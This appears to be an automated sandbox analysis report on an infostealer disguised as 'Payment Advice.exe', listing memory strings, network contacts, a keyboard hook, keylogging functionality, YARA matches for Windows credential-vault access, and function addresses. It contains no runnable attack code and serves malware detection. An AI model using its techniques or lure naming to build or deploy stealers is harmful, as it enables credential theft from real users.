Source: Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Payment Advice.exe, 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, BjTxJte.exe, 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Payment Advice.exe, 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.0000000002891000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.0000000002891000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.0000000002891000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Payment Advice.exe, BjTxJte.exe.8.dr, sFPEKzHsLkYZIz.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49750 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, cPKWk.cs	.Net Code: _9Y8jnYI
Source: 0.2.Payment Advice.exe.4c84a08.2.raw.unpack, cPKWk.cs	.Net Code: _9Y8jnYI

Installs a global keyboard hook

Source: C:\Users\user\Desktop\Payment Advice.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\Payment Advice.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Source: C:\Users\user\Desktop\Payment Advice.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Payment Advice.exe.4c84a08.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 20.2.BjTxJte.exe.3ce4260.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Payment Advice.exe.4c497e8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.BjTxJte.exe.41c5ac8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Payment Advice.exe.4c84a08.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 20.2.BjTxJte.exe.3d1f480.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 20.2.BjTxJte.exe.3d1f480.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.BjTxJte.exe.41c5ac8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 20.2.BjTxJte.exe.3ce4260.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.Payment Advice.exe.8ec0000.8.raw.unpack, SQL.cs

Large array initialization: : array initializer size 33608

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Payment Advice.exe

Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_05C8E070	0_2_05C8E070
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_05C8E8F8	0_2_05C8E8F8
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_05C8D560	0_2_05C8D560
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_05C8EDC0	0_2_05C8EDC0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A43A0	0_2_077A43A0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A0040	0_2_077A0040
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A4088	0_2_077A4088
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A0EF0	0_2_077A0EF0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A6560	0_2_077A6560
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077AF548	0_2_077AF548
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077AF538	0_2_077AF538
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077AA518	0_2_077AA518
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A8508	0_2_077A8508
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A5248	0_2_077A5248
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077AF110	0_2_077AF110
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A3008	0_2_077A3008
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A0007	0_2_077A0007
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A1DE0	0_2_077A1DE0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A1DD0	0_2_077A1DD0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077AECC8	0_2_077AECC8
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A2C98	0_2_077A2C98
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F841F8	8_2_00F841F8
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F84AC8	8_2_00F84AC8
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F8EB81	8_2_00F8EB81
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F8ADF8	8_2_00F8ADF8
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F83EB0	8_2_00F83EB0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F81A43	8_2_00F81A43
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068E6608	8_2_068E6608
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068EB250	8_2_068EB250
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068E3480	8_2_068E3480
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068E0040	8_2_068E0040
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068E7D90	8_2_068E7D90
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068EC1B0	8_2_068EC1B0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068E55C0	8_2_068E55C0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068E76B0	8_2_068E76B0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068EE3D0	8_2_068EE3D0
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_068E5D10	8_2_068E5D10
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_00F541F8	13_2_00F541F8
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_00F54AC8	13_2_00F54AC8
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_00F5EB48	13_2_00F5EB48
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_00F5ADF8	13_2_00F5ADF8
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_00F53EB0	13_2_00F53EB0
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_06486600	13_2_06486600
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_06483478	13_2_06483478
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_06487D88	13_2_06487D88
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_064855B8	13_2_064855B8
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_0648B238	13_2_0648B238
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_0648C1A8	13_2_0648C1A8
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_064876A8	13_2_064876A8
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_06482752	13_2_06482752
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_06485CF7	13_2_06485CF7
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_0648E3C8	13_2_0648E3C8
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_06480040	13_2_06480040
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_06480006	13_2_06480006
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_02272D90	14_2_02272D90
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_022728C8	14_2_022728C8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A543A0	14_2_06A543A0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A54088	14_2_06A54088
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50040	14_2_06A50040
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50EF0	14_2_06A50EF0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A5F538	14_2_06A5F538
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A58502	14_2_06A58502
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A58508	14_2_06A58508
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A56560	14_2_06A56560
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A5857F	14_2_06A5857F
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A5F548	14_2_06A5F548
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A56550	14_2_06A56550
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A53240	14_2_06A53240
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A54391	14_2_06A54391
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50007	14_2_06A50007
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A53008	14_2_06A53008
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A54078	14_2_06A54078
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A5F110	14_2_06A5F110
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50E9B	14_2_06A50E9B
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A52FF8	14_2_06A52FF8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A52C89	14_2_06A52C89
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A52C98	14_2_06A52C98
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A5ECC8	14_2_06A5ECC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A51DE0	14_2_06A51DE0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A51DD9	14_2_06A51DD9
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06EE06C9	14_2_06EE06C9
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06EE06D8	14_2_06EE06D8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06EE02A0	14_2_06EE02A0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_012F41F8	19_2_012F41F8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_012F4AC8	19_2_012F4AC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_012FAD8B	19_2_012FAD8B
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_012F3EB0	19_2_012F3EB0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06826608	19_2_06826608
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06823480	19_2_06823480
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06827D90	19_2_06827D90
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_068255C0	19_2_068255C0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_0682B32E	19_2_0682B32E
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_0682C1B0	19_2_0682C1B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_068276B0	19_2_068276B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06825CFF	19_2_06825CFF
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_0682E3D0	19_2_0682E3D0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06820040	19_2_06820040
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06911DB8	19_2_06911DB8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06911DC8	19_2_06911DC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06820033	19_2_06820033
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_012E28C8	20_2_012E28C8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534E070	20_2_0534E070
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534E986	20_2_0534E986
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534D550	20_2_0534D550
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534E042	20_2_0534E042
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534ED58	20_2_0534ED58
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534EDD3	20_2_0534EDD3
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_0117EA70	25_2_0117EA70
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_0117ACD8	25_2_0117ACD8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_011741F8	25_2_011741F8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_0117A510	25_2_0117A510
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_01174AC8	25_2_01174AC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_01173EB0	25_2_01173EB0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_06896608	25_2_06896608
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_0689B32E	25_2_0689B32E
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_06893480	25_2_06893480
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_06897D90	25_2_06897D90
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_0689C1B0	25_2_0689C1B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_068955C0	25_2_068955C0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_068976B0	25_2_068976B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_0689E3D0	25_2_0689E3D0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_06890040	25_2_06890040
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_06895D10	25_2_06895D10
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_06981DC8	25_2_06981DC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_06981DC3	25_2_06981DC3
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_0689003E	25_2_0689003E

Source: Payment Advice.exe

Static PE information: invalid certificate

Source: Payment Advice.exe, 00000000.00000002.1706697674.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Payment Advice.exe
Source: Payment Advice.exe, 00000000.00000002.1710843743.00000000031E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename935d4343-3e00-439b-b10a-ff974a5f8529.exe4 vs Payment Advice.exe
Source: Payment Advice.exe, 00000000.00000000.1645353775.0000000000AB8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLtIh.exe< vs Payment Advice.exe
Source: Payment Advice.exe, 00000000.00000002.1720871520.000000000B470000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Payment Advice.exe
Source: Payment Advice.exe, 00000000.00000002.1720188330.0000000008EC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs Payment Advice.exe
Source: Payment Advice.exe, 00000000.00000002.1710843743.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs Payment Advice.exe
Source: Payment Advice.exe, 00000000.00000002.1712393138.00000000048E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Payment Advice.exe
Source: Payment Advice.exe, 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename935d4343-3e00-439b-b10a-ff974a5f8529.exe4 vs Payment Advice.exe
Source: Payment Advice.exe, 00000008.00000002.4116527914.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Payment Advice.exe
Source: Payment Advice.exe	Binary or memory string: OriginalFilenameLtIh.exe< vs Payment Advice.exe

Source: Payment Advice.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Payment Advice.exe.4c84a08.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
